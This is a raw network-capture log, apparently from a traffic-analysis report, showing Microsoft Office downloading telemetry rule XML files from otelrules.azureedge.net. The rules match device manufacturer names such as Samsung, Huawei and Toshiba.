2024-11-11 11:40:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:17 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e1dc95e-801e-007b-6ed5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114017Z-174f78459685726chC1EWRsnbg00000004x0000000006nn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:17 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:17 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 602c134e-d01e-0049-04d5-33e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114017Z-174f7845968pf68xhC1EWRr4h8000000057g000000000p6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:17 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 1c99e56d-601e-0097-76d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114017Z-174f7845968n2hr8hC1EWR9cag00000004hg000000004ngt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f5f8c6aa-e01e-0099-78d5-33da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114017Z-174f7845968xlwnmhC1EWR0sv800000004sg0000000031s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:17 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:17 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 5fec14be-a01e-0021-75d5-33814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114017Z-174f7845968ljs8phC1EWRe6en00000004pg0000000075ha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:17 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 186f8a49-401e-005b-46d5-339c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968cdxdrhC1EWRg0en00000004ug000000005fmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 78b03680-101e-000b-4bd5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968glpgnhC1EWR7uec000000054g000000000b0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5eaa081d-f01e-0099-68d5-339171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968v79b7hC1EWRu01s00000004cg000000009bk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8377dffe-c01e-00a1-6ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968j9dchhC1EWRfe7400000004sg000000003824 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 072c0228-901e-00ac-3ad5-33b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f78459685726chC1EWRsnbg0000000500000000002g8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c8358df5-201e-005d-53d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968psccphC1EWRuz9s000000050000000000a2vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 31c5dea7-101e-008d-51d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f78459685m244hC1EWRgp2c00000004t0000000002k42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
